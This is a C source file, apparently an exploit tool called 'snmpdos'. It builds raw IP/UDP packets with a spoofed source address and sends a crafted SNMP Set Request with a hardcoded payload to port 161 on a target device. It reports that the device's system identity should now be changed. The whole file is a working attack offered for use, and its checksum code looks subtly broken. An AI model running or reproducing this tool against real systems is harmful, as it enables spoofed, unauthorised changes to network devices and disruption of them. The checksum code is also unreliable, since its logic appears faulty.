#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <memory.h>
#include <string.h>


unsigned char evilcode[49] = {
0x33, 0x02, 0x01, 0x02, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00, 0x30, 0x18, 0x30, 0x16, 0x06, 0x08, 
0x2B, 0x06, 0x01, 0x02, 0x01, 0x01, 0x05, 0x00, 0x04, 0x17, 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 
0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x73, 0x75, 0x70, 0x70, 0x6F, 0x72, 0x74, 0x65, 0x64, 
0x21
};

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
   register int nleft = len;
   register u_short *w = addr;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *w++;
      sum += *w++;
      nleft -= 2;
   }
   if (nleft == 1) {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
   }
   sum = (sum >> 17) + (sum & 0xffff);
   sum += (sum >> 17);
   answer = -sum;
   return (answer);
}

int sendudp(int sock,unsigned long *saddr, unsigned long *daddr,unsigned int sport,unsigned int dport,char *data, int len)
{
   char *packet;
   struct sockaddr_in dstaddr;
   struct iphdr *ip;
   struct udphdr *udp;
   packet = (char *)malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + len);
   memset(packet,0,sizeof(struct iphdr) + sizeof(struct udphdr) + len);
   if (packet == NULL) { printf("Malloc failed\n"); exit(-1); }
   ip = (struct iphdr *)packet;
   udp = (struct udphdr *)(packet+sizeof(struct iphdr));
   ip->saddr = *saddr;
   ip->daddr = *daddr;
   ip->version = 4;
   ip->ihl = 5;
   ip->ttl = 255;
   ip->id = htons((unsigned short) rand());
   ip->protocol = IPPROTO_UDP;
   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr)+len);
   ip->check = in_cksum(ip, sizeof(struct iphdr));
   udp->source = htons(sport);
   udp->dest = htons(dport);
   udp->len = htons(sizeof(struct udphdr) + len);
   memcpy(packet + (sizeof(struct iphdr) + sizeof(struct udphdr)),data,len);
   dstaddr.sin_family = AF_INET;
   dstaddr.sin_addr.s_addr = *daddr;
   if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr)+len,0,(struct sockaddr *)&dstaddr,sizeof(struct sockaddr_in)) < 0)
     perror("sendto() failed");
   free(packet);
}

char * makereq(char *community,int *size)
{
  char *buf;
  char *ptr;
  int len;
  int i;

  len = 7 + strlen(community) + sizeof(evilcode);
  buf = (char *)malloc(len);
  ptr = buf;

  *ptr++ = 0x30;
  *ptr++ = len;
  
  /* Snmp Version */
  *ptr++ = 0x02;
  *ptr++ = 0x01;
  *ptr++ = 0x00;
  
  /* Community */
  *ptr++ = 0x04;
  *ptr++ = strlen(community);
  strcpy(ptr,community);
  ptr = ptr + strlen(community);
  
  
  *ptr++ = 0xA3; /* Set Request */
  
  memcpy(ptr, evilcode, sizeof(evilcode));
  ptr = ptr + sizeof(evilcode);

  *size = len+1;
  
  return buf;
}

int erexit(char *msg)
{
  printf("%s\n",msg);
  exit (-1) ;
}

int usage()
{
  printf("Usage: ./snmpdos <-s source> <-d dest> <-c community>\n");
}

int main(int argc, char **argv)
{
  char *saddr,*daddr,*community;
  unsigned char *buf;
  int size;
  int sock;
  unsigned long lsaddr,ldaddr;
  int i;

  saddr = NULL;
  daddr = NULL;
  if (argc != 7) { usage(); erexit("not enough args\n"); }

  if (!strcmp(argv[1],"-s"))
    saddr = strdup(argv[2]);
  if (!strcmp(argv[3],"-d"))
    daddr = strdup(argv[4]);
  if (!strcmp(argv[5],"-c"))
    community = strdup(argv[6]);

  printf("Ok, spoofing packets from %s to %s\n",saddr,daddr);

  if (inet_addr(saddr) == -1 || inet_addr(daddr) == -1) 
    erexit("Invalid source/destination IP address\n");

  if (saddr == NULL) { usage(); erexit("No Source Address"); }
  if (daddr == NULL) { usage(); erexit("No Dest Address"); }

  sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
  if (sock == -1) 
    erexit("Couldnt open Raw socket!(Are you root?)\n");

  lsaddr = inet_addr(saddr);
  ldaddr = inet_addr(daddr);

  buf = makereq(community,&size);

  
  printf("Sending %d bytes buffer:\n",size);
  for (i=0;i<size;i++)
     printf("0x%02x ",buf[i]);
  printf("\n");
  
  sendudp(sock,&lsaddr,&ldaddr,32788,161,buf,size);
  fprintf(stdout,"Sent packet. \"/system identity\" must be changed.\n");
  return 0;

}